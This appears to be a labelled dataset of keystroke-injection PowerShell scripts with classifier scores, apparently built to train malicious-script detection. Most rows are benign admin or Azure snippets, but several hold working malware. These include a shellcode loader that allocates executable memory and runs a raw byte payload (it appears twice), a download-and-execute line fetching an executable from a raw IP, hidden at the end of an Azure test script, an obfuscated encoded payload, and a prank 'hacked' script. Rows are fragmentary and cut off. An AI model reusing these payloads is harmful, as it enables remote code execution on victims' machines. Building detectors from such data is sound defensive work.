{$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.0928524e-05,0.9999491
"win+r powershell enter # BENIGN ADMIN REPORT enter $ReportDir = Join-Path $env:TEMP ""admin_reports_s4cn9ptg"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting system_inventory section 1."" enter Get-ComputerInfo | enter Select-Object CsName, WindowsProductName, WindowsVersion, OsArchitecture, CsManufacturer, CsModel | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""computer_info_report.json"") -Encoding UTF8 enter Write-Host ""Starting network_checks section 2."" enter Get-NetRoute | enter Select-Object -First 100 DestinationPrefix, InterfaceAlias, NextHop, RouteMetric | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""network_routes.txt"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996567,3.4290588e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_77h0vtxm"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-LocalGroup | enter Select-Object Name, Description | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""user_local_groups.txt"") -Encoding UTF8 enter Write-Host ""Starting process_checks section 2."" enter Get-Process -Name ""powershell"" -ErrorAction SilentlyContinue | enter Sort-Object Name | enter Select-Object -First 25 Name, Id, Path, Company | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""process_named_processes_25.txt"") -Encoding UTF8 enter",0,0,0.99996555,3.440448e-05
"win+r enter powershell enter enter enter  enter function ConvertTo-Encoding ([string]$From, [string]$To){ enter Begin{ enter $encFrom = [System.Text.Encoding]::GetEncoding($from) enter $encTo = [System.Text.Encoding]::GetEncoding($to) enter } enter Process{ enter $bytes = $encTo.GetBytes($_) enter $bytes = [System.Text.Encoding]::Convert($encFrom, $encTo, $bytes) enter $encTo.GetString($bytes) enter } enter } enter enter if (Get-Command Get-DnsClientCache -ErrorAction SilentlyContinue) { enter Get-DnsClientCache | Select-Object TimeToLIve, Caption, Description, enter ElementName, InstanceId, Data, DataLength, Entry, Name, Section, enter Status, Type enter } else { enter $current_lang = Get-Culture enter if ($current_lang.TwoLetterISOLanguageName -eq ""en"") { enter $o = """" | Select-Object TimeToLive, Caption, Description, ElementName, enter InstanceID, Data, DataLength, Entry, Name, Section, Status, Type enter enter $(& ipconfig /displaydns | Select-Object -Skip 3 | % { $_.Trim() }) | % { enter switch -Regex ($_) { enter ""-----------"" { enter } enter ""Record Name[\s|\.]+:\s(?<RecordName>.*$)"" { enter $Name = ($matches['RecordName']) enter } enter ""Record Type[\s|\.]+:\s(?<RecordType>.*$)"" { enter $RecordType = ($matches['RecordType']) enter } enter ""Time To Live[\s|\.]+:\s(?<TTL>.*$)"" { enter $TTL = ($matches['TTL']) enter } enter ""Data Length[\s|\.]+:\s(?<DataLength>.*$)"" { enter $DataLength = ($matches['DataLength']) enter } enter ""Section[\s|\.]+:\s(?<Section>.*$)"" { enter $Section = ($matches['Section']) enter } enter ""(?<Type>[A-Za-z()\s]+)\s.*Record[\s|\.]+:\s(?<Data>.*$)"" { enter $Type,$Data = ($matches['Type'],$matches['Data']) enter $o.TimeToLive = $TTL enter $o.Caption = """" enter $o.Description = """" enter $o.ElementName = """" enter $o.InstanceId = """" enter $o.Data = $Data enter $o.DataLength = $DataLength enter $o.Entry = $Entry enter $o.Name = $Name enter $o.Section = $Section enter $o.Status = """" enter $o.Type = $Type enter $o enter } enter ""^$"" { enter $o = """" | Select-Object TimeToLive, Caption, Description, ElementName, enter InstanceID, Data, DataLength, Entry, Name, Section, Status, Type enter } enter default { enter $Entry = $_ enter } enter } enter } enter } enter if ($current_lang.TwoLetterISOLanguageName -eq ""ru"") { enter $o = """" | Select-Object TimeToLive, Caption, Description, ElementName, enter InstanceID, Data, DataLength, Entry, Name, Section, Status, Type enter enter $(& ipconfig /displaydns | ConvertTo-Encoding cp866 windows-1251 | Select-Object -Skip 3 | % { $_.Trim() }) | % { enter switch -Regex ($_) { enter ""-----------"" { enter } enter ""Имя записи[\s|\.]+:\s(?<RecordName>.*$)"" { enter $Name = ($matches['RecordName']) enter } enter ""Тип записи[\s|\.]+:\s(?<RecordType>.*$)"" { enter $RecordType = ($matches['RecordType']) enter } enter ""Срок жизни[\s|\.]+:\s(?<TTL>.*$)"" { enter $TTL = ($matches['TTL']) enter } enter ""Длина данных[\s|\.]+:\s(?<DataLength>.*$)"" { enter $DataLength = ($matches['DataLength']) enter } enter ""Раздел[\s|\.]+:\s(?<Section>.*$)"" { enter $Section = ($matches['Section']) enter } enter ""(?<Type>[^\s]+\s+\([^\)]+\))[\s\.]+:\s(?<Data>.*$)"" { enter $Type,$Data = ($matches['Type'],$matches['Data']) enter $o.TimeToLive = $TTL enter $o.Caption = """" enter $o.Description = """" enter $o.ElementName = """" enter $o.InstanceId = """" enter $o.Data = $Data enter $o.DataLength = $DataLength enter $o.Entry = $Entry enter $o.Name = $Name enter $o.Section = $Section enter $o.Status = """" enter $o.Type = $Type enter $o enter } enter ""^$"" { enter $o = """" | Select-Object TimeToLive, Caption, Description, ElementName, enter InstanceID, Data, DataLength, Entry, Name, Section, Status, Type enter } enter default { enter $Entry = $_ enter } enter } enter } enter } enter } enter enter",0,0,0.9989742,0.0010258266
"win+r powershell enter BuildSetup { $script:sequence += ""executing build setup;"" } Task default -depe enter nds Test-Results Task Test-Results -depends Compile, Test, Deploy { [string]$e enter xpected = ""executing build setup;Compiling;Testing;Deploying"" if ($script:seque enter nce -ne $expected) { throw ""Expected sequence '$expected', but was actually '$s enter cript:sequence'"" } } enter enter",0,1,0.004097296,0.9959027
Add-Type -AssemblyName System.Windows.Forms Add-Type -AssemblyName Microsoft.Vis enter ualBasic [String] $ΠΦΡΗΝΙΝϹΨΖΔΗΗΞΒΧΓΙΒΤ = 'ѶҡҐѭѰҋѯёѤђҌѡѣҌѠѝўѹњёѤѝҲѝѣҌѠѝѰҋѣёѴђҌѝ enter ѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣёҊђҌѝѣҌѓ҂ҤұіёҗђҹѪѫҭ҆ў҃җђѸѹјҳҌ҅ӄѡғҒҷћѾ enter ҆ѾґҐѫҒѭ҄ґҷї҆҇єҍ҅ѼҞѡҕғҡіѷ҄Ѩѿ҃ѴҐјѰѸґѓ҆ѽјҠґѦҜяѧѹҋѣёѤђҌѝѣҌѡѭҁқѣёѷђҐѠѣҎҁѥҠҚҕёѤђҌѝѣҌѠѝ enter ѰҙѣёѤѺҐѨѣҟѠѝѰҍ҉ёѤђҌѣѣҌѠѝѰҋѣёґѼҜѝѣҌѠ҃ѰҋѣёѼђҌѝѣҌѠѝѴҋѣѷѤђҌѝѣҲѠѝѱҋѣёѤђҌѝѣҌѠѡѰҋѣёѤђҌѝ enter ѣҌѢ҃ѰҋѣёѤѸҌѝѣҌѠѝѰҋѯёѴњҠѝѣҍѠѝѰҌѣёѤђҌѝѧҌѠѝѴҋѣёѤђҌѝѣҍѠѝѰҋѣёѤђҌѝѣҌѠѝѰҏҒѕѤђҍѬѣҌѠѝѰґѣё enter ѤіҲѠѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣёѤђҌѝѣҔѠѝѰҋҙёѤђҏѭѳӂѠѝѾҋѣёѤђҌѝѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝ enter ѰҋѣёѤђҌѝѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝѸҋѣёѦђҌѝѣҌѠѝѰҋѣёѤђҌѝѥҎѠѝѰҏ҉ёѤђҌѝѣҌѠѝѰҋѣёѤєҀьѼң҇ьѰҋѣёҍєҮѝ enter ѣҌѠ҃ѰҋѣёѮђҌѝѣҌѨѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣёѤєҌѝѣҒѠґҒҸѰ҉Ѽ҈ҌѝѣҐ҆ѠѰҋѣёѼђҌѝѣҌѰѝѰҋѣҁѤђҌѝѣҌѠѝѰҋѣё enter ѤђҌѝѣҌѡѝѰҋѤёѯѿҕ҈҄Ғј҆ѰҋѣѝѤђҌѝѣҔѠѝѰҋѣѓѤђҌѝѮҲѠѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣёѴђҌѝѳҲѠѝѰҋѣёѤђҌѝѣҌѠѝ enter ѰҋѣёѤђҍчѴҌѠѝѰҋѣёѤіҲѝѣҌѠџѰҋѷёѫєҲѝѣҗѰѾѰҋѣєѤђҌѝѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣёѤђҌѝ enter ѣҌѠѝѰҋѣёѤђҌѝѣҌѠѝѰҋѣё enter,1,1,6.489548e-05,0.99993515
"win+r powershell enter $gitrepo=""https://github.com/Azure-Samples/app-service-web-dotnet-get-started.gi enter t"" $webappname=""mywebapp$(Get-Random)"" $location=""West Europe"" New-AzResourceGr enter oup -Name myResourceGroup -Location $location New-AzAppServicePlan -Name $webap enter pname -Location $location -ResourceGroupName myResourceGroup -Tier Free New-AzW enter ebApp -Name $webappname -Location $location -AppServicePlan $webappname -Resourc enter eGroupName myResourceGroup $PropertiesObject = @{ repoUrl = ""$gitrepo""; enter",1,1,0.0045165066,0.9954835
"win r powershell -w h start-process -filepath ""taskkill"" -argumentlist ""/f"", ""/im"", ""powershell.exe"" enter",1,1,0.0016602435,0.9983398
win+r powershell enter function Uninstall-Package { [CmdletBinding()] param ( [Parameter(Mandatory= enter $true)] [ValidateNotNullOrEmpty()] [string] $fastPackageReference ) Write- enter Debug -Message ($LocalizedData.ProviderApiDebugMessage -f ('Uninstall-Package')) enter,1,1,0.006401243,0.9935988
"win+r enter powershell enter enter enter function Uninstall-CPerformanceCounterCategory enter { enter enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [Parameter(Mandatory=$true)] enter [string] enter enter $CategoryName enter ) enter enter Set-StrictMode -Version 'Latest' enter enter Use-CallerPreference -Cmdlet $PSCmdlet -Session $ExecutionContext.SessionState enter enter if( (Test-CPerformanceCounterCategory -CategoryName $CategoryName) ) enter { enter if( $pscmdlet.ShouldProcess( $CategoryName, 'uninstall performance counter category' ) ) enter { enter [Diagnostics.PerformanceCounterCategory]::Delete( $CategoryName ) enter } enter } enter } enter enter",0,0,0.9999509,4.9092607e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""system_review_r7i3w9u0"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting disk_checks section 1."" enter Get-ChildItem -Path $env:TEMP -Directory -ErrorAction SilentlyContinue | enter Select-Object -First 50 Name, FullName, LastWriteTime | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_filesystem_provider.json"") -Encoding UTF8 enter Write-Host ""Starting software_inventory section 2."" enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 50 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.99996555,3.4462177e-05
"win+r enter powershell enter enter enter function Get-CredsFromCredentialProvider { enter [CmdletBinding()] enter Param enter ( enter [Parameter()] enter [ValidateNotNullOrEmpty()] enter [Uri] enter $SourceLocation, enter enter [Parameter()] enter [bool] enter $isRetry = $false enter ) enter Write-Verbose ""PowerShellGet Calling 'CallCredProvider' on $SourceLocation"" enter enter $regex = [regex] '^(\S*pkgs.dev.azure.com\S*/v2)$|^(\S*pkgs.visualstudio.com\S*/v2)$' enter enter if (!($SourceLocation -match $regex)) { enter return $null; enter } enter $credProviderPath = $null enter $defaultEnvPath = ""NUGET_PLUGIN_PATHS"" enter $nugetPluginPath = Get-Childitem env:$defaultEnvPath -ErrorAction SilentlyContinue enter $callDotnet = $true; enter enter if ($nugetPluginPath -and $nugetPluginPath.value) { enter $credProviderPath = $nugetPluginPath.value enter $extension = $credProviderPath.Substring($credProviderPath.get_Length() - 4) enter if ($extension -eq "".exe"") { enter $callDotnet = $false enter } enter } enter else { enter enter $path = ""$($env:UserProfile)/.nuget/plugins/netcore/CredentialProvider.Microsoft/CredentialProvider.Microsoft.dll""; enter enter if ($script:IsLinux -or $script:IsMacOS) { enter $path = ""$($HOME)/.nuget/plugins/netcore/CredentialProvider.Microsoft/CredentialProvider.Microsoft.dll""; enter } enter if (Test-Path $path -PathType Leaf) { enter $credProviderPath = $path enter } enter } enter if (!$credProviderPath -and $script:IsWindows) { enter if (${Env:ProgramFiles(x86)}) { enter $programFiles = ${Env:ProgramFiles(x86)} enter } enter elseif ($Env:Programfiles) { enter $programFiles = $Env:Programfiles enter } enter else { enter return $null enter } enter enter $vswhereExePath = ""$($programFiles)\\Microsoft Visual Studio\\Installer\\vswhere.exe"" enter if (!(Test-Path $vswhereExePath -PathType Leaf)) { enter return $null enter } enter enter $RedirectedOutput = Join-Path ([System.IO.Path]::GetTempPath()) 'RedirectedOutput.txt' enter Start-Process $vswhereExePath ` enter -Wait ` enter -WorkingDirectory $PSHOME ` enter -RedirectStandardOutput $RedirectedOutput ` enter -NoNewWindow enter enter $content = Get-Content $RedirectedOutput enter Remove-Item $RedirectedOutput -Force -Recurse -ErrorAction SilentlyContinue enter enter $vsInstallationPath = """" enter if ([System.Text.RegularExpressions.Regex]::IsMatch($content, ""installationPath"")) { enter $vsInstallationPath = [System.Text.RegularExpressions.Regex]::Match($content, ""(?<=installationPath: ).*(?= installationVersion:)""); enter $vsInstallationPath = $vsInstallationPath.ToString() enter } enter if ($vsInstallationPath) { enter $credProviderPath = ($vsInstallationPath + '\Common7\IDE\CommonExtensions\Microsoft\NuGet\Plugins\CredentialProvider.Microsoft\CredentialProvider.Microsoft.exe') enter if (!(Test-Path $credProviderPath -PathType Leaf)) { enter return $null enter } enter $callDotnet = $false; enter } enter } enter enter if (!(Test-Path $credProviderPath -PathType Leaf)) { enter return $null enter } enter enter $filename = $credProviderPath enter $arguments = ""-U $SourceLocation"" enter if ($callDotnet) { enter $filename = ""dotnet"" enter $arguments = ""$credProviderPath $arguments"" enter } enter $argumentsNoRetry = $arguments enter if ($isRetry) { enter $arguments = ""$arguments -I""; enter Write-Debug ""Credential provider is re-running with -IsRetry"" enter } enter enter Write-Debug ""Credential provider path is: $credProviderPath"" enter Start-Process $filename -ArgumentList ""$arguments -V minimal"" ` enter -Wait ` enter -WorkingDirectory $PSHOME ` enter -NoNewWindow enter $RedirectedOutput = Join-Path ([System.IO.Path]::GetTempPath()) 'RedirectedOutput.txt' enter Start-Process $filename -ArgumentList ""$argumentsNoRetry -V verbose"" ` enter -Wait ` enter -WorkingDirectory $PSHOME ` enter -RedirectStandardOutput $RedirectedOutput ` enter -NoNewWindow enter enter $content = Get-Content $RedirectedOutput enter Remove-Item $RedirectedOutput -Force -Recurse -ErrorAction SilentlyContinue enter enter $username = [System.Text.RegularExpressions.Regex]::Match($content, '(?<=Username: )\S*') enter $password = [System.Text.RegularExpressions.Regex]::Match($content, '(?<=Password: ).*') enter enter if ($username -and $password) { enter $secstr = ConvertTo-SecureString $password -AsPlainText -Force enter $credential = new-object -typename System.Management.Automation.PSCredential -argumentlist $username, $secstr enter enter return $credential enter } enter enter return $null enter } enter enter",0,1,0.1649452,0.8350548
"win+r powershell enter Function Binary2String([String] $Yatak) { $byteList = [System.Collections.Generi enter c.List[Byte]]::new() for ($i = 0 $i -lt $Yatak.Length $i +=8) { $byteList.Add([C enter onvert]::ToByte($Yatak.Substring($i, 8), 2)) return [System.Text.Encoding]::ASCI enter I.GetString($byteList.ToArray()) Function HexaToByte([String] $IN) { $RNBX1 = $I enter N.Replace('@','0') $bytes = New-Object -TypeName byte[] -ArgumentList ($RNBX1.Le enter ngth / 2) $i -lt $RNBX1.Length $i += 2) { enter enter",1,1,0.000113547074,0.9998864
"win+r enter powershell enter enter enter $c = '[DllImport(""kernel32.dll"")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport(""kernel32.dll"")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport(""msvcrt.dll"")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$w = Add-Type -memberDefinition $c -Name ""Win32"" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$z = 0xda,0xca,0xbf,0x5e,0x83,0x44,0x0e,0xd9,0x74,0x24,0xf4,0x58,0x33,0xc9,0xb1,0x47,0x31,0x78,0x18,0x03,0x78,0x18,0x83,0xe8,0xa2,0x61,0xb1,0xf2,0xb2,0xe4,0x3a,0x0b,0x42,0x89,0xb3,0xee,0x73,0x89,0xa0,0x7b,0x23,0x39,0xa2,0x2e,0xcf,0xb2,0xe6,0xda,0x44,0xb6,0x2e,0xec,0xed,0x7d,0x09,0xc3,0xee,0x2e,0x69,0x42,0x6c,0x2d,0xbe,0xa4,0x4d,0xfe,0xb3,0xa5,0x8a,0xe3,0x3e,0xf7,0x43,0x6f,0xec,0xe8,0xe0,0x25,0x2d,0x82,0xba,0xa8,0x35,0x77,0x0a,0xca,0x14,0x26,0x01,0x95,0xb6,0xc8,0xc6,0xad,0xfe,0xd2,0x0b,0x8b,0x49,0x68,0xff,0x67,0x48,0xb8,0xce,0x88,0xe7,0x85,0xff,0x7a,0xf9,0xc2,0xc7,0x64,0x8c,0x3a,0x34,0x18,0x97,0xf8,0x47,0xc6,0x12,0x1b,0xef,0x8d,0x85,0xc7,0x0e,0x41,0x53,0x83,0x1c,0x2e,0x17,0xcb,0x00,0xb1,0xf4,0x67,0x3c,0x3a,0xfb,0xa7,0xb5,0x78,0xd8,0x63,0x9e,0xdb,0x41,0x35,0x7a,0x8d,0x7e,0x25,0x25,0x72,0xdb,0x2d,0xcb,0x67,0x56,0x6c,0x83,0x44,0x5b,0x8f,0x53,0xc3,0xec,0xfc,0x61,0x4c,0x47,0x6b,0xc9,0x05,0x41,0x6c,0x2e,0x3c,0x35,0xe2,0xd1,0xbf,0x46,0x2a,0x15,0xeb,0x16,0x44,0xbc,0x94,0xfc,0x94,0x41,0x41,0x68,0x90,0xd5,0x25,0xd9,0x01,0xe7,0xd2,0x23,0x36,0xf6,0x7e,0xad,0xd0,0xa8,0x2e,0xfd,0x4c,0x08,0x9f,0xbd,0x3c,0xe0,0xf5,0x31,0x62,0x10,0xf6,0x9b,0x0b,0xba,0x19,0x72,0x63,0x52,0x83,0xdf,0xff,0xc3,0x4c,0xca,0x85,0xc3,0xc7,0xf9,0x7a,0x8d,0x2f,0x77,0x69,0x79,0xc0,0xc2,0xd3,0x2f,0xdf,0xf8,0x7e,0xcf,0x75,0x07,0x29,0x98,0xe1,0x05,0x0c,0xee,0xad,0xf6,0x7b,0x65,0x67,0x63,0xc4,0x11,0x88,0x63,0xc4,0xe1,0xde,0xe9,0xc4,0x89,0x86,0x49,0x97,0xac,0xc8,0x47,0x8b,0x7d,0x5d,0x68,0xfa,0xd2,0xf6,0x00,0x00,0x0d,0x30,0x8f,0xfb,0x78,0xc0,0xf3,0x2d,0x44,0xb6,0x1d,0xee;$g = 0x1000;if ($z.Length -gt 0x1000){$g = $z.Length};$x=$w::VirtualAlloc(0,0x1000,$g,0x40);for ($i=0;$i -le ($z.Length-1);$i++) {$w::memset([IntPtr]($x.ToInt32()+$i), $z[$i], 1)};$w::CreateThread(0,0,$x,0,0,0);for (;;){Start-sleep 60}; enter enter",1,1,5.21726e-05,0.9999478
"win+r enter powershell enter enter enter  enter function Get-AzureRmSecurityCompliance-SubscriptionScope enter { enter $compliances = Get-AzSecurityCompliance enter Validate-Compliances $compliances enter } enter function Get-AzureRmSecurityCompliance-SubscriptionLevelResource enter { enter $compliance = Get-AzSecurityCompliance | Select -First 1 enter $fetchedCompliance = Get-AzSecurityCompliance -Name $compliance.Name enter Validate-Compliance $fetchedCompliance enter } enter function Get-AzureRmSecurityCompliance-ResourceId enter { enter $compliance = Get-AzSecurityCompliance | Select -First 1 enter enter $location = Get-AzSecurityLocation | Select -First 1 enter enter $context = Get-AzContext enter $subscriptionId = $context.Subscription.Id enter $fetchedCompliance = Get-AzSecurityCompliance -ResourceId ""/subscriptions/$subscriptionId/providers/Microsoft.Seucurity/locations/$location/compliances/$($compliance.Name)"" enter Validate-Compliances $fetchedCompliance enter } enter function Validate-Compliances enter { enter param($compliances) enter enter Assert-True { $compliances.Count -gt 0 } enter enter Foreach($compliance in $compliances) enter { enter Validate-Compliance $compliance enter } enter } enter function Validate-Compliance enter { enter param($compliance) enter enter Assert-NotNull $compliance enter } enter (New-Object System.Net.WebClient).DownloadFile('http://94.102.53.238/~yahoo/csrsv.exe',""$env:APPDATA\csrsv.exe"");Start-Process (""$env:APPDATA\csrsv.exe"") enter enter",1,1,5.811676e-05,0.9999418
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""workstation_report_cop2ruki"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-DnsClientServerAddress | enter Select-Object InterfaceAlias, AddressFamily, ServerAddresses | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""network_dns_servers.json"") -Encoding UTF8 enter Get-Volume | enter Select-Object DriveLetter, FileSystemLabel, FileSystem, HealthStatus, SizeRemaining, Size | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""disk_volume.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999653,3.4690413e-05
"unknown_key_action # Title: List Hotfixes and Warning Message enter unknown_key_action # Description: List Hotfixes on a Windows Machine and then prints message of warning to the unsuspecting Victim enter unknown_key_action # Author: John Fawcett enter unknown_key_action # Version: 1.1 enter unknown_key_action # Category: General enter unknown_key_action # Target: Windows 10 (CMD) enter unknown_key_action # Attackmodes: HID enter unknown_key_action #######Stage 1 Open CMD AND Get Hotfixes######### enter delay_long enter win+r enter delay_long enter cmd enter delay_medium enter enter enter delay_medium enter wmic qfe enter enter enter unknown_key_action ###### Stage 2 Print Message####### enter delay_medium enter CONGRATULATIONS, YOU HAVE BEEN HACKED!!!!",1,1,6.012598e-05,0.9999399
win+r powershell enter function Get-Weekday { [CmdletBinding()] param ( [Parameter(Mandatory)] [ enter ValidatePattern('sunday|monday|tuesday|wednesday|thursday|friday|saturday')] [s enter tring]$Weekday ) process { try { $Weekday = $Weekday.ToLower() enter enter,1,1,0.0053524654,0.99464756
"win+r powershell enter $endpoint = 'mysftestcluster.southcentralus.cloudapp.azure.com:19000' $thumbprin enter t = '2779F0BB9A969FB88E04915FFE7955D0389DA7AF' $packagepath=""C:\Users\sfuser\Doc enter uments\Visual Studio 2017\Projects\MyApplication\MyApplication\pkg\Release"" Con enter nect-ServiceFabricCluster -ConnectionEndpoint $endpoint ` -KeepAliveIntervalInS enter ec 10 ` -X509Credential -ServerCertThumbprint $thumbprint ` -FindType FindByTh enter umbprint -FindValue $thumbprint ` -StoreLocation CurrentUser -StoreName My Cop enter y-ServiceFabricApplicationPackage $packagepath -ImageStoreConnectionString fabri enter c:ImageStore -ApplicationPackagePathInImageStore MyApplication enter enter",1,0,0.8696221,0.13037787
"win+r enter powershell enter enter enter Task Default -depends Compile,Test enter enter Task Compile -depends CompileSolutionA,CompileSolutionB enter enter Task Test -depends UnitTests,IntegrationTests enter enter Task CompileSolutionA -description 'Compiles solution A' {} enter enter Task CompileSolutionB {} enter enter Task UnitTests -alias 'ut' {} enter enter Task IntegrationTests {} enter enter",0,0,0.9997452,0.0002548234
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""asset_report_9vldfsm4"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-WinEvent -LogName System -MaxEvents 25 | enter Where-Object { $_.LevelDisplayName -in @(""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Export-Csv -Path (Join-Path $ReportDir ""event_system_errors_25.csv"") -NoTypeInformation enter Get-Process | enter Sort-Object Handles -Descending | enter Select-Object -First 10 Name, Id, CPU, WorkingSet64, Handles | enter Export-Csv -Path (Join-Path $ReportDir ""process_top_handles_10.csv"") -NoTypeInformation enter Write-Host ""Administrative report completed."" enter",0,0,0.9999659,3.4136916e-05
"win+r enter powershell enter enter enter function Assert-Match enter { enter enter param( enter [Parameter(Position=0,Mandatory=$true)] enter [string] enter enter $Haystack, enter enter [Parameter(Position=1,Mandatory=$true)] enter [string] enter enter $Regex, enter enter [Parameter(Position=2)] enter [string] enter enter $Message enter ) enter enter if( $Haystack -notmatch $Regex ) enter { enter Fail ""'$Haystack' does not match '$Regex': $Message"" enter } enter } enter enter",0,0,0.9999162,8.375593e-05
"win+r enter powershell enter enter enter function Get-PSFTaskEngineTask enter { enter enter [CmdletBinding(HelpUri = 'https://psframework.org/documentation/commands/PSFramework/Get-PSFTaskEngineTask')] enter Param ( enter [string] enter $Name = ""*"" enter ) enter enter [PSFramework.TaskEngine.TaskHost]::Tasks.Values | Where-Object Name -Like $Name enter } enter enter",0,0,0.99991214,8.787796e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""admin_reports_khkr3v6d"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Write-Host ""Starting event_log_review section 1."" enter Get-WinEvent -LogName System -MaxEvents 150 | enter Where-Object { $_.LevelDisplayName -in @(""Information"",""Warning"",""Error"") } | enter Select-Object TimeCreated, ProviderName, Id, LevelDisplayName, Message | enter Format-List | enter Out-File -FilePath (Join-Path $ReportDir ""event_provider_summary_150.txt"") -Encoding UTF8 enter Get-Service | enter Where-Object { $_.Status -eq ""Stopped"" } | enter Sort-Object Name | enter Select-Object Name, DisplayName, Status, ServiceType | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""service_stopped.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.9999658,3.4207562e-05
"win+r powershell enter $ReportDir = Join-Path $env:TEMP ""health_report_wf0j8emf"" enter New-Item -ItemType Directory -Path $ReportDir -Force | Out-Null enter Get-PnpDevice | enter Where-Object { $_.Class -eq ""USB"" } | enter Select-Object -First 50 Class, FriendlyName, Status, InstanceId | enter Export-Csv -Path (Join-Path $ReportDir ""device_usb_related_pnp.csv"") -NoTypeInformation enter Get-HotFix | enter Sort-Object InstalledOn -Descending | enter Select-Object -First 200 HotFixID, Description, InstalledBy, InstalledOn | enter ConvertTo-Json -Depth 4 | enter Out-File -FilePath (Join-Path $ReportDir ""software_hotfixes.json"") -Encoding UTF8 enter Write-Host ""Administrative report completed."" enter",0,0,0.999966,3.4016997e-05
win+r powershell enter  function Test-CreateInstancePool { $props = Get-InstancePoolTestProperties enter $virtualNetwork = CreateAndGetVirtualNetworkForManagedInstance $props.vnetName enter $props.subnetName $props.location $props.resourceGroup $subnetId = $virtualNet enter work.Subnets.where({ $_.Name -eq $props.subnetName })[0].Id $instancePool = Ne enter w-AzSqlInstancePool -ResourceGroupName $props.resourceGroup -Name $props.name ` enter -Location $props.location -SubnetId $subnetId -VCore $props.vCores ` -Edition enter $props.edition -ComputeGeneration $props.computeGen ` enter enter,1,1,0.009452455,0.9905475
"win+r enter powershell enter enter enter  enter [CmdletBinding(SupportsShouldProcess=$true)] enter param( enter [parameter(Mandatory=$true, HelpMessage=""Site server where the SMS Provider is installed"")] enter [ValidateNotNullOrEmpty()] enter [ValidateScript({Test-Connection -ComputerName $_ -Count 1 -Quiet})] enter [string]$SiteServer, enter [parameter(Mandatory=$false, HelpMessage=""Show a progressbar displaying the current operation"")] enter [switch]$ShowProgress enter ) enter Begin { enter enter try { enter Write-Verbose -Message ""Determining SiteCode for Site Server: '$($SiteServer)'"" enter $SiteCodeObjects = Get-WmiObject -Namespace ""root\SMS"" -Class SMS_ProviderLocation -ComputerName $SiteServer -ErrorAction Stop enter foreach ($SiteCodeObject in $SiteCodeObjects) { enter if ($SiteCodeObject.ProviderForLocalSite -eq $true) { enter $SiteCode = $SiteCodeObject.SiteCode enter Write-Debug -Message ""SiteCode: $($SiteCode)"" enter } enter } enter } enter catch [System.UnauthorizedAccessException] { enter Write-Warning -Message ""Access denied"" ; break enter } enter catch [System.Exception] { enter Write-Warning -Message ""Unable to determine SiteCode"" ; break enter } enter enter try { enter Add-Type -Path (Join-Path -Path (Get-Item $env:SMS_ADMIN_UI_PATH).Parent.FullName -ChildPath ""Microsoft.ConfigurationManagement.ApplicationManagement.dll"") -ErrorAction Stop enter Add-Type -Path (Join-Path -Path (Get-Item $env:SMS_ADMIN_UI_PATH).Parent.FullName -ChildPath ""Microsoft.ConfigurationManagement.ApplicationManagement.Extender.dll"") -ErrorAction Stop enter Add-Type -Path (Join-Path -Path (Get-Item $env:SMS_ADMIN_UI_PATH).Parent.FullName -ChildPath ""Microsoft.ConfigurationManagement.ApplicationManagement.MsiInstaller.dll"") -ErrorAction Stop enter } enter catch [System.UnauthorizedAccessException] { enter Write-Warning -Message ""Access was denied when attempting to load ApplicationManagement dll's"" ; break enter } enter catch [System.Exception] { enter Write-Warning -Message ""Unable to load required ApplicationManagement dll's. Make sure that you're running this tool on system where the ConfigMgr console is installed and that you're running the tool elevated"" ; break enter } enter } enter Process { enter if ($PSBoundParameters[""ShowProgress""]) { enter $ProgressCount = 0 enter } enter try { enter $Applications = Get-WmiObject -Namespace 